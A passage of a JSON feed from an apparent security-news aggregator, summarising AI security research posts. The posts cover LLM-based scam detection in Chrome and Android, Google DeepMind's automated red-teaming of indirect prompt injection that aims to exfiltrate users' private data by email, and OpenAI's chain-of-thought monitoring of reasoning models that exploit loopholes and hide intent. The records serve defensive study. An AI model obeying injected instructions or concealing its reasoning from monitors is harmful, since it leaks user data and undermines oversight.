feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-using-ai-to-stop-tech-support-scams-in-4acd9006ec67","cveId":null,"aliases":[],"kind":"ai-research","title":"Using AI to stop tech support scams in Chrome","summary":"Posted by Jasika Bawa, Andy Lim, and Xinghui Lu, Google Chrome Security \n\nTech support scams are an increasingly prevalent form of cybercrime, characterized by deceptive tactics aimed at extorting money or gaining unauthorized access to sensitive data. In a tech support scam, the goal of the scammer is to trick you into believing your computer has a serious problem, such as a virus or malware infection, and then convince you to pay for unnecessary services, software, or grant them remote access to your device. Tech support scams on the web often employ alarming pop-up warnings mimicking legitimate security alerts. We've also observed them to use full-screen takeovers and disable keyboard and mouse input to create a sense of crisis. \n\nChrome has always worked with Google Safe Browsing to help keep you safe online. Now, with this week's launch of Chrome 137, Chrome will offer an additional layer of protection using the on-device Gemini Nano large language model (LLM). This new feature will leverage the LLM to generate signals that will be used by Safe Browsing in order to deliver higher confidence verdicts about potentially dangerous sites like tech support scams.\n\nInitial research using LLMs has shown that they are relatively effective at understanding and classifying the varied, complex nature of websites. As such, we believe we can leverage LLMs to help detect scams at scale and adapt to new tactics more quickly. But why on-device? Leveraging LLMs on-device allows us to see threats when users see them. We’ve found that the average malicious site exists for less than 10 minutes, so on-device protection allows us to detect and block attacks that haven't been crawled before. The on-device approach also empowers us to see threats the way users see them. Sites can render themselves differently for different users, often for legitimate purposes (e.g. to account for device differences, offer personalization, provide time-sensitive content), but sometimes for illegitimate","detail":"Posted by Jasika Bawa, Andy Lim, and Xinghui Lu, Google Chrome Security \n\nTech support scams are an increasingly prevalent form of cybercrime, characterized by deceptive tactics aimed at extorting money or gaining unauthorized access to sensitive data. In a tech support scam, the goal of the scammer is to trick you into believing your computer has a serious problem, such as a virus or malware infection, and then convince you to pay for unnecessary services, software, or grant them remote access to your device. Tech support scams on the web often employ alarming pop-up warnings mimicking legitimate security alerts. We've also observed them to use full-screen takeovers and disable keyboard and mouse input to create a sense of crisis. \n\nChrome has always worked with Google Safe Browsing to help keep you safe online. Now, with this week's launch of Chrome 137, Chrome will offer an additional layer of protection using the on-device Gemini Nano large language model (LLM). This new feature will leverage the LLM to generate signals that will be used by Safe Browsing in order to deliver higher confidence verdicts about potentially dangerous sites like tech support scams.\n\nInitial research using LLMs has shown that they are relatively effective at understanding and classifying the varied, complex nature of websites. As such, we believe we can leverage LLMs to help detect scams at scale and adapt to new tactics more quickly. But why on-device? Leveraging LLMs on-device allows us to see threats when users see them. We’ve found that the average malicious site exists for less than 10 minutes, so on-device protection allows us to detect and block attacks that haven't been crawled before. The on-device approach also empowers us to see threats the way users see them. Sites can render themselves differently for different users, often for legitimate purposes (e.g. to account for device differences, offer personalization, provide time-sensitive content), but sometimes for illegitimate purposes (e.g. to evade security crawlers) – as such, having visibility into how sites are presenting themselves to real users enhances our ability to assess the web.\n\n How it works \n\nAt a high level, here's how this new layer of protection works. \n\nOverview of how on-device LLM assistance in mitigating scams works\n\nWhen a user navigates to a potentially dangerous page, specific triggers that are characteristic of tech support scams (for example, the use of the keyboard lock API ) will cause Chrome to evaluate the page using the on-device Gemini Nano LLM. Chrome provides the LLM with the contents of the page that the user is on and queries it to extract security signals, such as the intent of the page. This information is then sent to Safe Browsing for a final verdict. If Safe Browsing determines that the page is likely to be a scam based on the LLM output it receives from the client, in addition to other intelligence and metadata about the site, Chrome will show a warning interstitial.\n\nThis is all done in a way that preserves performance and privacy. In addition to ensuring that the LLM is only triggered sparingly and run locally on the device, we carefully manage resource consumption by considering the number of tokens used, running the process asynchronously to avoid interrupting browser activity, and implementing throttling and quota enforcement mechanisms to limit GPU usage. LLM-summarized security signals are only sent to Safe Browsing for users who have opted-in to the Enhanced Protection mode of Safe Browsing in Chrome, giving them protection against threats Google may not have seen before. Standard Protection users will also benefit indirectly from this feature as we add newly discovered dangerous sites to blocklists.\n\n Future considerations \n\nThe scam landscape continues to evolve, with bad actors constantly adapting their tactics. Beyond tech support scams, in the future we plan to use the capabilities described in this post to help detect other popular scam types, such as package tracking scams and unpaid toll scams. We also plan to utilize the growing power of Gemini to extract additional signals from website content, which will further enhance our detection capabilities. To protect even more users from scams, we are working on rolling out this feature to Chrome on Android later this year. And finally, we are collaborating with our research counterparts to explore solutions to potential exploits such as prompt injection in content and timing bypass.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-05-08T16:59:00.000Z","updatedAt":"2025-05-08T16:59:22.695Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.","sourceUrl":"https://security.googleblog.com/2025/05/using-ai-to-stop-tech-support-scams-in.html"},"sources":[{"name":"Google Security Research: Using AI to stop tech support scams in Chrome","url":"https://security.googleblog.com/2025/05/using-ai-to-stop-tech-support-scams-in.html","type":"primary","publishedAt":"2025-05-08T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"openai-security-on-the-path-to-agi-e5cf09edb190","cveId":null,"aliases":[],"kind":"ai-research","title":"Security on the path to AGI","summary":"At OpenAI, we proactively adapt, including by building comprehensive security measures directly into our infrastructure and models.","detail":"At OpenAI, we proactively adapt, including by building comprehensive security measures directly into our infrastructure and models.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-03-26T10:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/security-on-the-path-to-agi"},"sources":[{"name":"OpenAI: Security on the path to AGI","url":"https://openai.com/index/security-on-the-path-to-agi","type":"primary","publishedAt":"2025-03-26T10:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-chain-of-thought-monitoring-62125fff56fe","cveId":null,"aliases":[],"kind":"ai-research","title":"Detecting misbehavior in frontier reasoning models","summary":"Frontier reasoning models exploit loopholes when given the chance. We show we can detect exploits using an LLM to monitor their chains-of-thought. Penalizing their “bad thoughts” doesn’t stop the majority of misbehavior—it makes them hide their intent.","detail":"Frontier reasoning models exploit loopholes when given the chance. We show we can detect exploits using an LLM to monitor their chains-of-thought. Penalizing their “bad thoughts” doesn’t stop the majority of misbehavior—it makes them hide their intent.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-03-10T10:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/chain-of-thought-monitoring"},"sources":[{"name":"OpenAI: Detecting misbehavior in frontier reasoning models","url":"https://openai.com/index/chain-of-thought-monitoring","type":"primary","publishedAt":"2025-03-10T10:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"google-security-new-ai-powered-scam-detection-features-a6d66beb5c27","cveId":null,"aliases":[],"kind":"ai-research","title":"New AI-Powered Scam Detection Features to Help Protect You on Android","summary":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse \n\nGoogle has been at the forefront of protecting users from the ever-growing threat of scams and fraud with cutting-edge technologies and security expertise for years. In 2024, scammers used increasingly sophisticated tactics and generative AI-powered tools to steal more than $1 trillion from mobile consumers globally, according to the Global Anti-Scam Alliance . And with the majority of scams now delivered through phone calls and text messages, we’ve been focused on making Android’s safeguards even more intelligent with powerful Google AI to help keep your financial information and data safe.\n\nToday, we’re launching two new industry-leading AI-powered scam detection features for calls and text messages, designed to protect users from increasingly complex and damaging scams. These features specifically target conversational scams, which can often appear initially harmless before evolving into harmful situations. \n\nTo enhance our detection capabilities, we partnered with financial institutions around the world to better understand the latest advanced and most common scams their customers are facing. For example, users are experiencing more conversational text scams that begin innocently, but gradually manipulate victims into sharing sensitive data, handing over funds, or switching to other messaging apps. And more phone calling scammers are using spoofing techniques to hide their real numbers and pretend to be trusted companies. \n\nTraditional spam protections are focused on protecting users before the conversation starts, and are less effective against these latest tactics from scammers that turn dangerous mid-conversation and use social engineering techniques. To better protect users, we invested in new, intelligent AI models capable of detecting suspicious patterns and delivering real-time warnings over the course of a conv","detail":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse \n\nGoogle has been at the forefront of protecting users from the ever-growing threat of scams and fraud with cutting-edge technologies and security expertise for years. In 2024, scammers used increasingly sophisticated tactics and generative AI-powered tools to steal more than $1 trillion from mobile consumers globally, according to the Global Anti-Scam Alliance . And with the majority of scams now delivered through phone calls and text messages, we’ve been focused on making Android’s safeguards even more intelligent with powerful Google AI to help keep your financial information and data safe.\n\nToday, we’re launching two new industry-leading AI-powered scam detection features for calls and text messages, designed to protect users from increasingly complex and damaging scams. These features specifically target conversational scams, which can often appear initially harmless before evolving into harmful situations. \n\nTo enhance our detection capabilities, we partnered with financial institutions around the world to better understand the latest advanced and most common scams their customers are facing. For example, users are experiencing more conversational text scams that begin innocently, but gradually manipulate victims into sharing sensitive data, handing over funds, or switching to other messaging apps. And more phone calling scammers are using spoofing techniques to hide their real numbers and pretend to be trusted companies. \n\nTraditional spam protections are focused on protecting users before the conversation starts, and are less effective against these latest tactics from scammers that turn dangerous mid-conversation and use social engineering techniques. To better protect users, we invested in new, intelligent AI models capable of detecting suspicious patterns and delivering real-time warnings over the course of a conversation, all while prioritizing user privacy. \n\n Scam Detection for messages\n\nWe’re building on our enhancements to existing Spam Protection in Google Messages that strengthen defenses against job and delivery scams, which are continuing to roll out to users. We’re now introducing Scam Detection to detect a wider range of fraudulent activities. \n\nScam Detection in Google Messages uses powerful Google AI to proactively address conversational scams by providing real-time detection even after initial messages are received. When the on-device AI detects a suspicious pattern in SMS, MMS, and RCS messages, users will now get a message warning of a likely scam with an option to dismiss or report and block the sender. \n\nAs part of the Spam Protection setting, Scam Detection on Google Messages is on by default and only applies to conversations with non-contacts. Your privacy is protected with Scam Detection in Google Messages, with all message processing remaining on-device . Your conversations remain private to you; if you choose to report a conversation to help reduce widespread spam, only sender details and recent messages with that sender are shared with Google and carriers. You can turn off Spam Protection, which includes Scam Detection, in your Google Messages at any time.\n\nScam Detection in Google Messages is launching in English first in the U.S., U.K. and Canada and will expand to more countries soon. \n\n Scam Detection for calls\n\nMore than half of Americans reported receiving at least one scam call per day in 2024. To combat the rise of sophisticated conversational scams that deceive victims over the course of a phone call, we introduced Scam Detection late last year to U.S.-based English-speaking Phone by Google public beta users on Pixel phones. \n\nWe use AI models processed on-device to analyze conversations in real-time and warn users of potential scams. If a caller, for example, tries to get you to provide payment via gift cards to complete a delivery, Scam Detection will alert you through audio and haptic notifications and display a warning on your phone that the call may be a scam. \n\nDuring our limited beta , we analyzed calls with Gemini Nano, Google’s built-in, on-device foundation model, on Pixel 9 devices and used smaller, robust on-device machine-learning models for Pixel 6+ users. Our testing showed that Gemini Nano outperformed other models, so as a result, we're currently expanding the availability of the beta to bring the most capable Scam Detection to all English-speaking Pixel 9+ users in the U.S.\n\nSimilar to Scam Detection in messaging, we built this feature to protect your privacy by processing everything on-device. Call audio is processed ephemerally and no conversation audio or transcription is recorded, stored on the device, or sent to Google or third parties. Scam Detection in Phone by Google is off by default to give users control over this feature, as phone call audio is more ephemeral compared to messages, which are stored on devices. Scam Detection only applies to calls that could potentially be scams, and is never used during calls with your contacts. If enabled, Scam Detection will beep at the start and during the call to notify participants the feature is on. You can turn off Scam Detection at any time, during an individual call or for all future calls.\n\nAccording to our research and a Scam Detection beta user survey, these types of alerts have already helped people be more cautious on the phone, detect suspicious activity, and avoid falling victim to conversational scams.\n\n Keeping Android users safe with the power of Google AI\n\nWe're committed to keeping Android users safe, and that means constantly evolving our defenses against increasingly sophisticated scams and fraud. Our investment in intelligent protection is having real-world impact for billions of users. Leviathan Security Group , a cybersecurity firm, conducted a funded evaluation of fraud protection features on a number of smartphones and found that Android smartphones, led by the Pixel 9 Pro, scored highest for built-in security features and anti-fraud efficacy 1 . \n\nWith AI-powered innovations like Scam Detection in Messages and Phone by Google, we're giving you more tools to stay one step ahead of bad actors. We're constantly working with our partners across the Android ecosystem to help bring new security features to even more users. Together, we’re always working to keep you safe on Android.\n\n Notes\n\n Based on third-party research funded by Google LLC in Feb 2025 comparing the Pixel 9 Pro, iPhone 16 Pro, Samsung S24+ and Xiaomi 14 Ultra. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-03-04T16:59:00.000Z","updatedAt":"2025-03-04T16:59:32.949Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.","sourceUrl":"https://security.googleblog.com/2025/03/new-ai-powered-scam-detection-features.html"},"sources":[{"name":"Google Security Research: New AI-Powered Scam Detection Features to Help Protect You on Android","url":"https://security.googleblog.com/2025/03/new-ai-powered-scam-detection-features.html","type":"primary","publishedAt":"2025-03-04T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-how-we-estimate-risk-from-prompt-5cef529ef824","cveId":null,"aliases":[],"kind":"ai-research","title":"How we estimate the risk from prompt injection attacks on AI systems","summary":"Posted by the Agentic AI Security Team at Google DeepMind \n\n Modern AI systems, like Gemini, are more capable than ever, helping retrieve data and perform actions on behalf of users. However, data from external sources present new security challenges if untrusted sources are available to execute instructions on AI systems. Attackers can take advantage of this by hiding malicious instructions in data that are likely to be retrieved by the AI system, to manipulate its behavior. This type of attack is commonly referred to as an \"indirect prompt injection,\" a term first coined by Kai Greshake and the NVIDIA team. \n\n To mitigate the risk posed by this class of attacks, we are actively deploying defenses within our AI systems along with measurement and monitoring tools. One of these tools is a robust evaluation framework we have developed to automatically red-team an AI system’s vulnerability to indirect prompt injection attacks. We will take you through our threat model, before describing three attack techniques we have implemented in our evaluation framework. \n\n Threat model and evaluation framework \n\n Our threat model concentrates on an attacker using indirect prompt injection to exfiltrate sensitive information, as illustrated above. The evaluation framework tests this by creating a hypothetical scenario, in which an AI agent can send and retrieve emails on behalf of the user. The agent is presented with a fictitious conversation history in which the user references private information such as their passport or social security number. Each conversation ends with a request by the user to summarize their last email, and the retrieved email in context. \n\n The contents of this email are controlled by the attacker, who tries to manipulate the agent into sending the sensitive information in the conversation history to an attacker-controlled email address. The attack is successful if the agent executes the malicious prompt contained in the email, resulting in the unauthorize","detail":"Posted by the Agentic AI Security Team at Google DeepMind \n\n Modern AI systems, like Gemini, are more capable than ever, helping retrieve data and perform actions on behalf of users. However, data from external sources present new security challenges if untrusted sources are available to execute instructions on AI systems. Attackers can take advantage of this by hiding malicious instructions in data that are likely to be retrieved by the AI system, to manipulate its behavior. This type of attack is commonly referred to as an \"indirect prompt injection,\" a term first coined by Kai Greshake and the NVIDIA team. \n\n To mitigate the risk posed by this class of attacks, we are actively deploying defenses within our AI systems along with measurement and monitoring tools. One of these tools is a robust evaluation framework we have developed to automatically red-team an AI system’s vulnerability to indirect prompt injection attacks. We will take you through our threat model, before describing three attack techniques we have implemented in our evaluation framework. \n\n Threat model and evaluation framework \n\n Our threat model concentrates on an attacker using indirect prompt injection to exfiltrate sensitive information, as illustrated above. The evaluation framework tests this by creating a hypothetical scenario, in which an AI agent can send and retrieve emails on behalf of the user. The agent is presented with a fictitious conversation history in which the user references private information such as their passport or social security number. Each conversation ends with a request by the user to summarize their last email, and the retrieved email in context. \n\n The contents of this email are controlled by the attacker, who tries to manipulate the agent into sending the sensitive information in the conversation history to an attacker-controlled email address. The attack is successful if the agent executes the malicious prompt contained in the email, resulting in the unauthorized disclosure of sensitive information. The attack fails if the agent only follows user instructions and provides a simple summary of the email. \n\n Automated red-teaming \n\n Crafting successful indirect prompt injections requires an iterative process of refinement based on observed responses. To automate this process, we have developed a red-team framework consisting of several optimization-based attacks that generate prompt injections (in the example above this would be different versions of the malicious email). These optimization-based attacks are designed to be as strong as possible; weak attacks do little to inform us of the susceptibility of an AI system to indirect prompt injections. \n\n Once these prompt injections have been constructed, we measure the resulting attack success rate on a diverse set of conversation histories. Because the attacker has no prior knowledge of the conversation history, to achieve a high attack success rate the prompt injection must be capable of extracting sensitive user information contained in any potential conversation contained in the prompt, making this a harder task than eliciting generic unaligned responses from the AI system. The attacks in our framework include: \n\n Actor Critic: This attack uses an attacker-controlled model to generate suggestions for prompt injections. These are passed to the AI system under attack, which returns a probability score of a successful attack. Based on this probability, the attack model refines the prompt injection. This process repeats until the attack model converges to a successful prompt injection. \n\n Beam Search: This attack starts with a naive prompt injection directly requesting that the AI system send an email to the attacker containing the sensitive user information. If the AI system recognizes the request as suspicious and does not comply, the attack adds random tokens to the end of the prompt injection and measures the new probability of the attack succeeding. If the probability increases, these random tokens are kept, otherwise they are removed, and this process repeats until the combination of the prompt injection and random appended tokens result in a successful attack. \n\n Tree of Attacks w/ Pruning (TAP): Mehrotra et al. (2024) [3] designed an attack to generate prompts that cause an AI system to violate safety policies (such as generating hate speech). We adapt this attack, making several adjustments to target security violations. Like Actor Critic, this attack searches in the natural language space; however, we assume the attacker cannot access probability scores from the AI system under attack, only the text samples that are generated. \n\n We are actively leveraging insights gleaned from these attacks within our automated red-team framework to protect current and future versions of AI systems we develop against indirect prompt injection, providing a measurable way to track security improvements. A single silver bullet defense is not expected to solve this problem entirely. We believe the most promising path to defend against these attacks involves a combination of robust evaluation frameworks leveraging automated red-teaming methods, alongside monitoring, heuristic defenses, and standard security engineering solutions. \n\n We would like to thank Vijay Bolina, Sravanti Addepalli, Lihao Liang, and Alex Kaskasoli for their prior contributions to this work . \n\n Posted on behalf of the entire Google DeepMind Agentic AI Security team (listed in alphabetical order): \n\n Aneesh Pappu, Andreas Terzis, Chongyang Shi, Gena Gibson, Ilia Shumailov, Itay Yona, Jamie Hayes, John \"Four\" Flynn, Juliette Pluto, Sharon Lin, Shuang Song\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-01-29T10:00:00.000Z","updatedAt":"2025-01-29T17:03:41.745Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.","sourceUrl":"https://security.googleblog.com/2025/01/how-we-estimate-risk-from-prompt.html"},"sources":[{"name":"Google Security Research: How we estimate the risk from prompt injection attacks on AI systems","url":"https://security.googleblog.com/2025/01/how-we-estimate-risk-from-prompt.html","type":"primary","publishedAt":"2025-01-29T10:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"openai-advancing-red-teaming-with-people-and-ai-a93dc3ad8dab","cveId":null,"aliases":[],"kind":"ai-research","title":"Advancing red teaming with people and AI","summary":"Advancing red teaming with people and AI","detail":"Advancing red teaming with people and AI\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2024-11-21T10:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/advancing-red-teaming-with-people-and-ai"},"sources":[{"name":"OpenAI: Advancing red teaming with people and AI","url":"https://openai.com/index/advancing-red-teaming-with-people-and-ai","type":"primary","publishedAt":"2024-11-21T10:30:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"google-oss-fuzz-ai-targets-2024","cveId":null,"aliases":["OSS-Fuzz","oss-fuzz-gen","google-security-leveling-up-fuzzing-finding-more-7f3556e77941"],"kind":"ai-research","title":"OSS-Fuzz reports vulnerabilities from AI-generated targets","summary":"Google's open-source security team reports 26 vulnerabilities found with AI-generated or enhanced fuzz targets, including an OpenSSL flaw. The result concerns improvements to vulnerability discovery, not evidence that every finding was autonomously patched.","detail":"The November 20, 2024 article describes target generation, compilation repair, execution, and crash triage. It explicitly treats automatic vulnerability patching and removal of human review as future work. The reported totals describe this research corpus, not worldwide incidence.","action":"Review the published workflow and oss-fuzz-gen framework when evaluating AI-assisted fuzzing. Retain human validation of generated targets, crash interpretation, and proposed fixes rather than assuming end-to-end autonomous remediation.","publishedAt":"2024-11-20","updatedAt":"2024-11-20T16:55:46.416Z","regions":["Global"],"vendor":"Google Open Source Security Team","product":"OSS-Fuzz AI-generated fuzz targets","stacks":["Google Open Source Security Team","AI security","Fuzzing","C/C++","Open source"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"Google reports actual use of LLM-generated fuzz targets to discover vulnerabilities. The reported research totals were not independently reproduced in this editorial review.","sourceUrl":"https://security.googleblog.com/2024/11/leveling-up-fuzzing-finding-more.html"},"sources":[{"name":"Google Security Blog: Leveling Up Fuzzing","url":"https://security.googleblog.com/2024/11/leveling-up-fuzzing-finding-more.html","type":"primary","publishedAt":"2024-11-20","checkedAt":"2026-10-26T18:35:55.322Z","supports":"AI-generated targets, the reported 26 findings, workflow stages, and limits on autonomous triage and patching."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"google-big-sleep-sqlite-2024","cveId":null,"aliases":["Big Sleep","Project Naptime"],"kind":"ai-research","title":"Big Sleep finds a pre-release SQLite memory-safety flaw","summary":"Google Project Zero and DeepMind report that their Big Sleep agent found an exploitable stack buffer underflow in SQLite's generate_series extension. Developers fixed it before an official release, so the report says released SQLite users were not affected.","detail":"This was experimental variant analysis using researcher-curated commits, not an unassisted audit of every SQLite release. Google explains that existing fuzzing harnesses lacked the affected code and cautions that a target-specific fuzzer might be at least as effective.","action":"Use the documented experiment as an evaluation example for complementary AI-assisted review and fuzzing. This research notice does not establish a patch requirement for released SQLite installations.","publishedAt":"2024-11-01","updatedAt":null,"regions":["Global"],"vendor":"Google Project Zero / Google DeepMind","product":"Big Sleep research agent and SQLite generate_series extension","stacks":["Google Project Zero / Google DeepMind","AI security","SQLite","C/C++","Fuzzing","Open source"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"The teams report actual AI-assisted vulnerability discovery in an experimental pre-release setting. Their claimed research result is attributed, not independently reproduced here.","sourceUrl":"https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html"},"sources":[{"name":"Project Zero and DeepMind: From Naptime to Big Sleep","url":"https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html","type":"primary","publishedAt":"2024-11-01","checkedAt":"2026-10-26","supports":"AI experiment, pre-release extension flaw, same-day developer fix, released-user exclusion, and methodological limitations."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false}],"pagination":{"total":8060,"offset":0,"limit":8060,"hasMore":false},"sources":[{"id":"editorial","name":"Editorial Evidence Review","url":null,"feedUrl":null,"category":"editorial","status":"editorial","lastAttemptAt":null,"lastSuccessAt":null,"lastError":null,"recordCount":19,"scope":"Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends.","limitations":"A manually reviewed, dated editorial sample, not a live feed. Source claims and dates remain tied to each record; no invented scores or trends.","updateCadenceMinutes":null},{"id":"cisa-kev","name":"CISA Known Exploited Vulnerabilities","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","feedUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","category":"catalog","status":"live","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:50:55.739Z","lastError":null,"recordCount":1756,"scope":"The full successfully validated KEV catalog, without a newest-record slice.","limitations":"Known exploitation is not necessarily a zero-day. KEV-only publication dates denote catalog additions, not initial disclosure. Due dates concern covered US federal agencies, not your SLA. The last complete catalog is retained for 30 days; oversized or incomplete replacements are rejected, not truncated.","updateCadenceMinutes":5,"freshnessWindowMinutes":15,"retentionDays":30,"maxRetainedRecords":25000,"optional":false,"partial":false,"processedCount":1756,"rejectedCount":0,"nextRetryAt":null,"cacheError":null,"coverage":{"catalogRecords":1756,"fullCatalog":true,"eligibleIncomingRecords":1756}},{"id":"github-advisories","name":"GitHub Public Security Advisories","url":"https://github.com/advisories","feedUrl":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","category":"advisories","status":"cached","lastAttemptAt":"2026-10-26T18:50:55.505Z","lastSuccessAt":"2026-10-26T18:40:59.678Z","lastError":"Public source returned an error. (HTTP 403)","recordCount":308,"scope":"GitHub-reviewed public advisories, sorted by update date; at most 3 cursor pages of 100 records per cycle, without authentication.","limitations":"Not the entire advisory database. GitHub review is upstream review, not local editorial review or proof of remediation. Withdrawn advisories are excluded. Retained union is bounded to 2,000 records updated within 180 days; public API rate limits can reduce 